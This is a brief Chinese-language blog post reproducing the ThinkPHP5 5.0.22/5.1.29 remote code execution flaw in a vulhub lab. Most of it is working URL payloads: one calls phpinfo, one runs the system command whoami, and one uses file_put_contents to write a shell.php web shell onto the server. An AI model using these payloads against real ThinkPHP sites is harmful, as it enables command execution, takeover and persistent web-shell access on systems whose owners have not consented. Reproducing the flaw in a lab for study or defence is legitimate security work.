天天看點

ThinkPHP5 5.0.22/5.1.29 遠端代碼執行漏洞複現

複現環境

thinkphp5.0.22

推薦使用vulhub快速搭建漏洞環境

漏洞payload:

1:/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

2:index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

效果如下

ThinkPHP5 5.0.22/5.1.29 遠端代碼執行漏洞複現

寫入檔案的payload:

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要寫入的檔案内容url編碼

更詳細可參考博文:

https://blog.csdn.net/qq_29647709/article/details/84956221